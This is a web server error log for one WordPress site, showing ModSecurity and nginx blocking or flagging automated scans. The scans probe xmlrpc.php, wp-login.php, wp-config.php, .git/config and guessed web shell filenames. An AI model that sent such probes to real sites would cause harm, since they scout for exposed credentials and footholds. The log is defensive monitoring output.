[Mon Mar 09 01:58:54.035189 2026] [:error] [pid 49419:tid 49644] [client 20.12.79.171:27607] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nam.php"] [unique_id "aa243vSUwH6DJwBBi5B3EgAAAAM"]
[Mon Mar 09 03:56:11.564648 2026] [:error] [pid 5783:tid 5911] [client 41.142.85.5:51384] [client 41.142.85.5] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.142.85.5, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aa3UWwdiZJ1FQPtsTNTxRwAAAFE"]
[Mon Mar 09 03:56:11.581425 2026] [proxy_fcgi:error] [pid 5783:tid 5911] [client 41.142.85.5:51384] AH01071: Got error 'Primary script unknown'
[Mon Mar 09 06:46:51.804553 2026] [:error] [pid 5783:tid 5910] [client 45.33.121.161:39794] [client 45.33.121.161] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.33.121.161, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aa38WwdiZJ1FQPtsTNQRWgAAAFA"]
[Mon Mar 09 06:46:51.814521 2026] [proxy_fcgi:error] [pid 5783:tid 5910] [client 45.33.121.161:39794] AH01071: Got error 'Primary script unknown'
[Mon Mar 09 08:04:05.000502 2026] [:error] [pid 6074:tid 6100] [client 177.121.121.41:52705] [client 177.121.121.41] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.121.121.41, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aa4OdBgvXHMVGYw_ElwUUQAAAMk"]
[Mon Mar 09 08:04:05.011693 2026] [proxy_fcgi:error] [pid 6074:tid 6100] [client 177.121.121.41:52705] AH01071: Got error 'Primary script unknown'
[Mon Mar 09 18:49:00.554594 2026] [:error] [pid 44503:tid 44513] [client 172.98.33.104:22137] [client 172.98.33.104] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.98.33.104, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aa6lnMpGKFA8jlKDDh2_UwAAAcY"]
[Mon Mar 09 18:49:00.565769 2026] [proxy_fcgi:error] [pid 44503:tid 44513] [client 172.98.33.104:22137] AH01071: Got error 'Primary script unknown'
[Mon Mar 09 21:57:53.402153 2026] [:error] [pid 6074:tid 6100] [client 136.158.79.77:46121] [client 136.158.79.77] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.158.79.77, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aa7R4RgvXHMVGYw_ElwMnwAAAMk"]
[Mon Mar 09 21:57:53.415540 2026] [proxy_fcgi:error] [pid 6074:tid 6100] [client 136.158.79.77:46121] AH01071: Got error 'Primary script unknown'
[Mon Mar 09 21:57:58.852047 2026] [:error] [pid 5783:tid 5900] [client 49.37.163.22:50108] [client 49.37.163.22] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.37.163.22, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aa7R5gdiZJ1FQPtsTNTjgwAAAEY"]
[Mon Mar 09 21:57:58.858427 2026] [proxy_fcgi:error] [pid 5783:tid 5900] [client 49.37.163.22:50108] AH01071: Got error 'Primary script unknown'
[Mon Mar 09 23:44:06.446353 2026] [:error] [pid 5787:tid 5932] [client 34.148.205.219:61443] [client 34.148.205.219] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.148.205.219, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aa7qxrGpMgQ18gGUaFMnHwAAAIo"]
[Mon Mar 09 23:44:06.455531 2026] [proxy_fcgi:error] [pid 5787:tid 5932] [client 34.148.205.219:61443] AH01071: Got error 'Primary script unknown'
[Mon Mar 09 23:44:09.109431 2026] [:error] [pid 5787:tid 5946] [client 34.148.205.219:61443] [client 34.148.205.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aa7qybGpMgQ18gGUaFMnMAAAAJg"]
[Mon Mar 09 23:44:09.535126 2026] [:error] [pid 5783:tid 5904] [client 34.148.205.219:57998] [client 34.148.205.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aa7qyQdiZJ1FQPtsTNTy6QAAAEo"]
[Mon Mar 09 23:44:10.011065 2026] [:error] [pid 17485:tid 17503] [client 34.148.205.219:62172] [client 34.148.205.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "aa7qytQOL_kxQEc1PTC-9wAAAQ8"]
[Mon Mar 09 23:44:10.436673 2026] [:error] [pid 44504:tid 44546] [client 34.148.205.219:61070] [client 34.148.205.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aa7qynri56-8oxPimmhsDQAAAgw"]
[Mon Mar 09 23:44:10.912446 2026] [:error] [pid 44504:tid 44548] [client 34.148.205.219:49776] [client 34.148.205.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aa7qynri56-8oxPimmhsEQAAAg4"]
[Mon Mar 09 23:44:11.357735 2026] [:error] [pid 5779:tid 5866] [client 34.148.205.219:59790] [client 34.148.205.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aa7qywaHbHwtklaurgVmtQAAAAs"]
[Mon Mar 09 23:44:11.825307 2026] [:error] [pid 5779:tid 5857] [client 34.148.205.219:55568] [client 34.148.205.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aa7qywaHbHwtklaurgVmtwAAAAI"]
[Tue Mar 10 01:59:30.601723 2026] [:error] [pid 64614:tid 64662] [client 104.28.159.135:26683] [client 104.28.159.135] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/style.php"] [unique_id "aa8KgpmzZEHtK_dZqUZbCQAAAIs"]
[Tue Mar 10 05:23:21.587104 2026] [:error] [pid 7912:tid 8080] [client 62.60.131.218:57927] [client 62.60.131.218] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aa86SSV7wJYuQ3GZEAVuWAAAAJA"]
[Tue Mar 10 05:40:48.492565 2026] [:error] [pid 7912:tid 8072] [client 62.60.131.218:60738] [client 62.60.131.218] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aa8-YCV7wJYuQ3GZEAVyjQAAAIg"]
[Tue Mar 10 11:05:18.528002 2026] [:error] [pid 42666:tid 42685] [client 87.252.100.19:58053] [client 87.252.100.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 87.252.100.19, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aa-Kbo0d5emjo-Hs705KCgAAARE"]
[Tue Mar 10 11:05:18.543793 2026] [proxy_fcgi:error] [pid 42666:tid 42685] [client 87.252.100.19:58053] AH01071: Got error 'Primary script unknown'
[Tue Mar 10 13:42:56.616044 2026] [:error] [pid 39998:tid 40073] [client 93.121.177.53:55002] [client 93.121.177.53] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 93.121.177.53, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aa-vYI0j9Ehux9Dpvl9OtAAAAIM"]
[Tue Mar 10 13:42:56.628187 2026] [proxy_fcgi:error] [pid 39998:tid 40073] [client 93.121.177.53:55002] AH01071: Got error 'Primary script unknown'
[Tue Mar 10 16:00:57.715611 2026] [proxy_fcgi:error] [pid 21316:tid 21328] [client 194.59.30.204:59328] AH01071: Got error 'Primary script unknown'
[Tue Mar 10 16:00:57.981978 2026] [proxy_fcgi:error] [pid 21316:tid 21339] [client 194.59.30.204:59328] AH01071: Got error 'Primary script unknown'
[Tue Mar 10 16:01:12.613742 2026] [proxy_fcgi:error] [pid 21316:tid 21341] [client 194.59.30.204:59909] AH01071: Got error 'Primary script unknown'
[Tue Mar 10 16:01:25.873136 2026] [:error] [pid 21400:tid 21406] [client 194.59.30.204:60470] [client 194.59.30.204] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/wp-config.php"] [unique_id "aa_P1TCFYMzi4orNuEHDOAAAAMQ"]
[Tue Mar 10 16:01:28.046806 2026] [:error] [pid 21400:tid 21415] [client 194.59.30.204:60578] [client 194.59.30.204] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.59.30.204, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aa_P2DCFYMzi4orNuEHDRAAAAM0"]
[Tue Mar 10 16:01:28.051007 2026] [proxy_fcgi:error] [pid 21400:tid 21415] [client 194.59.30.204:60578] AH01071: Got error 'Primary script unknown'
[Tue Mar 10 16:01:43.973574 2026] [proxy_fcgi:error] [pid 21318:tid 21398] [client 194.59.30.204:61278] AH01071: Got error 'Primary script unknown'
[Tue Mar 10 16:01:55.647791 2026] [proxy_fcgi:error] [pid 21316:tid 21323] [client 194.59.30.204:61802] AH01071: Got error 'Primary script unknown'
[Tue Mar 10 16:02:25.061937 2026] [proxy_fcgi:error] [pid 21316:tid 21327] [client 194.59.30.204:63025] AH01071: Got error 'Primary script unknown'
[Tue Mar 10 16:02:36.743017 2026] [proxy_fcgi:error] [pid 21400:tid 21426] [client 194.59.30.204:63512] AH01071: Got error 'Primary script unknown'
[Tue Mar 10 16:02:38.823820 2026] [proxy_fcgi:error] [pid 21400:tid 21402] [client 194.59.30.204:63512] AH01071: Got error 'Primary script unknown'
[Tue Mar 10 16:02:49.502966 2026] [proxy_fcgi:error] [pid 21317:tid 21361] [client 194.59.30.204:64053] AH01071: Got error 'Primary script unknown'
[Tue Mar 10 16:03:16.201320 2026] [proxy_fcgi:error] [pid 21400:tid 21410] [client 194.59.30.204:65255] AH01071: Got error 'Primary script unknown'
[Tue Mar 10 16:03:20.474158 2026] [:error] [pid 21400:tid 21408] [client 194.59.30.204:65255] [client 194.59.30.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/by.php"] [unique_id "aa_QSDCFYMzi4orNuEHD_wAAAMY"]
[Tue Mar 10 17:36:29.419550 2026] [autoindex:error] [pid 21400:tid 21405] [client 139.59.32.166:63732] AH01276: Cannot serve directory /home/agraphicscom/public_html/.well-known/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Tue Mar 10 17:37:39.450466 2026] [proxy_fcgi:error] [pid 63829:tid 63835] [client 194.59.30.204:56978] AH01071: Got error 'Primary script unknown'
[Tue Mar 10 17:37:48.109912 2026] [proxy_fcgi:error] [pid 21316:tid 21333] [client 194.59.30.204:57311] AH01071: Got error 'Primary script unknown'
[Tue Mar 10 17:37:57.123355 2026] [proxy_fcgi:error] [pid 21316:tid 21337] [client 194.59.30.204:57659] AH01071: Got error 'Primary script unknown'
[Tue Mar 10 17:38:05.785675 2026] [:error] [pid 21400:tid 21414] [client 194.59.30.204:57990] [client 194.59.30.204] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/wp-config.php"] [unique_id "aa_mfTCFYMzi4orNuEHtXwAAAMw"]
[Tue Mar 10 17:38:14.223591 2026] [:error] [pid 21400:tid 21417] [client 194.59.30.204:58299] [client 194.59.30.204] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.59.30.204, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aa_mhjCFYMzi4orNuEHtagAAAM8"]
[Tue Mar 10 17:38:14.233359 2026] [proxy_fcgi:error] [pid 21400:tid 21417] [client 194.59.30.204:58299] AH01071: Got error 'Primary script unknown'
[Tue Mar 10 17:49:55.334318 2026] [:error] [pid 38046:tid 38062] [client 103.185.20.41:61441] [client 103.185.20.41] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.185.20.41, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aa_pQxTkGlFLLQi8ch5Y0wAAAM0"]
[Tue Mar 10 17:49:55.348188 2026] [proxy_fcgi:error] [pid 38046:tid 38062] [client 103.185.20.41:61441] AH01071: Got error 'Primary script unknown'
[Tue Mar 10 17:58:00.341574 2026] [:error] [pid 51387:tid 51405] [client 203.177.64.130:59244] [client 203.177.64.130] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 203.177.64.130, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aa_rKGiwPCd61yzVMnEm1QAAANA"]
[Tue Mar 10 17:58:00.357046 2026] [proxy_fcgi:error] [pid 51387:tid 51405] [client 203.177.64.130:59244] AH01071: Got error 'Primary script unknown'
[Tue Mar 10 23:42:08.586138 2026] [:error] [pid 50463:tid 50472] [client 180.242.7.132:50004] [client 180.242.7.132] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.4.122.14, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "abA70HWeJpDsCJ44MSv9CgAAAQc"]
[Tue Mar 10 23:42:08.599393 2026] [proxy_fcgi:error] [pid 50463:tid 50472] [client 180.242.7.132:50004] AH01071: Got error 'Primary script unknown'
[Wed Mar 11 02:20:43.175302 2026] [:error] [pid 6894:tid 7208] [client 136.158.71.76:41186] [client 136.158.71.76] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.4.122.14, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "abBg-54b1T0HQdoE97L5iAAAAJg"]
[Wed Mar 11 02:20:43.188864 2026] [proxy_fcgi:error] [pid 6894:tid 7208] [client 136.158.71.76:41186] AH01071: Got error 'Primary script unknown'
2026/03/11 05:11:03 [error] 3466#3466: *481602 access forbidden by rule, client: 159.65.188.29, server: cpanel.agraphics.com.au, request: "GET /.git/config HTTP/1.1", host: "cpanel.agraphics.com.au"
2026/03/11 06:44:17 [error] 3463#3463: *539678 access forbidden by rule, client: 159.65.167.144, server: webmail.agraphics.com.au, request: "GET /.git/config HTTP/1.1", host: "webmail.agraphics.com.au"
[Wed Mar 11 07:13:58.651272 2026] [:error] [pid 6117:tid 6158] [client 196.179.129.239:43956] [client 196.179.129.239] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.4.122.14, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "abCltsU0P9gyi5rKFp6ifAAAABY"]
[Wed Mar 11 07:13:58.663956 2026] [proxy_fcgi:error] [pid 6117:tid 6158] [client 196.179.129.239:43956] AH01071: Got error 'Primary script unknown'
[Wed Mar 11 07:18:23.799160 2026] [:error] [pid 11796:tid 11801] [client 154.254.43.171:48594] [client 154.254.43.171] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.4.122.14, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "abCmvwEDXoQrlStpO9AaOAAAAYM"]
[Wed Mar 11 07:18:23.811485 2026] [proxy_fcgi:error] [pid 11796:tid 11801] [client 154.254.43.171:48594] AH01071: Got error 'Primary script unknown'
[Wed Mar 11 07:20:20.670252 2026] [:error] [pid 6118:tid 6185] [client 167.56.249.196:50448] [client 167.56.249.196] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.4.122.14, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "abCnNFXprP7_-KEgC-0XEQAAAFY"]
[Wed Mar 11 07:20:20.683818 2026] [proxy_fcgi:error] [pid 6118:tid 6185] [client 167.56.249.196:50448] AH01071: Got error 'Primary script unknown'
[Wed Mar 11 07:48:35.486948 2026] [:error] [pid 11751:tid 11775] [client 209.87.169.95:40322] [client 209.87.169.95] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.4.122.14, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "abCt03KeU7OoUEz26eXGNwAAAVY"]
[Wed Mar 11 07:48:35.503467 2026] [proxy_fcgi:error] [pid 11751:tid 11775] [client 209.87.169.95:40322] AH01071: Got error 'Primary script unknown'
[Wed Mar 11 08:10:13.211890 2026] [:error] [pid 6222:tid 6248] [client 193.203.9.178:55364] [client 193.203.9.178] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.4.122.14, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "abCy5Xs7MIv-0SYBFu2-1AAAANg"]
[Wed Mar 11 08:10:13.213366 2026] [:error] [pid 6222:tid 6237] [client 193.203.8.210:55366] [client 193.203.8.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.4.122.14, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "abCy5Xs7MIv-0SYBFu2-1QAAAM0"]
[Wed Mar 11 08:10:13.226152 2026] [proxy_fcgi:error] [pid 6222:tid 6237] [client 193.203.8.210:55366] AH01071: Got error 'Primary script unknown'
[Wed Mar 11 08:10:13.226827 2026] [proxy_fcgi:error] [pid 6222:tid 6248] [client 193.203.9.178:55364] AH01071: Got error 'Primary script unknown'
2026/03/11 13:00:03 [error] 53948#53948: *763757 access forbidden by rule, client: 159.65.188.29, server: agraphics.com.au, request: "GET /.git/config HTTP/1.1", host: "agraphics.com.au"
[Wed Mar 11 15:24:37.532584 2026] [proxy_fcgi:error] [pid 45143:tid 45150] [client 145.239.10.137:36336] AH01071: Got error 'Primary script unknown', referer: http://agraphics.com.au/opsn.php
[Wed Mar 11 15:24:37.541885 2026] [proxy_fcgi:error] [pid 23482:tid 23487] [client 145.239.10.137:36340] AH01071: Got error 'Primary script unknown', referer: http://agraphics.com.au/gto.php
[Wed Mar 11 15:25:46.958822 2026] [proxy_fcgi:error] [pid 23482:tid 23507] [client 145.239.10.137:37470] AH01071: Got error 'Primary script unknown', referer: http://agraphics.com.au/gg.php
[Wed Mar 11 15:25:46.976768 2026] [proxy_fcgi:error] [pid 54045:tid 54070] [client 145.239.10.137:37472] AH01071: Got error 'Primary script unknown', referer: http://agraphics.com.au/gt.php
[Wed Mar 11 16:33:07.913388 2026] [:error] [pid 23512:tid 23528] [client 184.82.91.30:40472] [client 184.82.91.30] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.4.122.14, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "abEow6euPtNfm7KRzWXRCAAAAU0"]
[Wed Mar 11 16:33:07.926259 2026] [proxy_fcgi:error] [pid 23512:tid 23528] [client 184.82.91.30:40472] AH01071: Got error 'Primary script unknown'
[Wed Mar 11 16:37:25.812107 2026] [:error] [pid 54045:tid 54063] [client 45.41.106.65:44034] [client 45.41.106.65] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.4.122.14, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "abEpxSRcKzQ1f-N8TgRbiAAAANA"]
[Wed Mar 11 16:37:25.839460 2026] [proxy_fcgi:error] [pid 54045:tid 54063] [client 45.41.106.65:44034] AH01071: Got error 'Primary script unknown'
[Wed Mar 11 20:57:16.758798 2026] [:error] [pid 54045:tid 54066] [client 159.223.95.141:54904] [client 159.223.95.141] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.4.122.14, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "abFmrCRcKzQ1f-N8TgTgfQAAANM"]
[Wed Mar 11 20:57:16.770460 2026] [proxy_fcgi:error] [pid 54045:tid 54066] [client 159.223.95.141:54904] AH01071: Got error 'Primary script unknown'
[Wed Mar 11 20:57:17.826119 2026] [:error] [pid 45143:tid 45154] [client 159.223.95.141:54952] [client 159.223.95.141] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "abFmrSEXSpYdWImkpzb1KgAAAYk"]
2026/03/11 20:57:17 [error] 53948#53948: *1096055 upstream prematurely closed connection while reading response header from upstream, client: 159.223.95.141, server: agraphics.com.au, request: "GET /wp1/wp-includes/wlwmanifest.xml HTTP/1.1", upstream: "http://103.4.122.14:8181/wp1/wp-includes/wlwmanifest.xml", host: "agraphics.com.au"
2026/03/11 20:57:17 [error] 53948#53948: *1096055 upstream prematurely closed connection while reading response header from upstream, client: 159.223.95.141, server: agraphics.com.au, request: "GET /test/wp-includes/wlwmanifest.xml HTTP/1.1", upstream: "http://103.4.122.14:8181/test/wp-includes/wlwmanifest.xml", host: "agraphics.com.au"
[Wed Mar 11 20:57:17.914367 2026] [:error] [pid 45143:tid 45169] [client 159.223.95.141:54954] [client 159.223.95.141] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "abFmrSEXSpYdWImkpzb1KwAAAZg"]
2026/03/11 20:57:18 [error] 53948#53948: *1096055 upstream prematurely closed connection while reading response header from upstream, client: 159.223.95.141, server: agraphics.com.au, request: "GET /media/wp-includes/wlwmanifest.xml HTTP/1.1", upstream: "http://103.4.122.14:8181/media/wp-includes/wlwmanifest.xml", host: "agraphics.com.au"
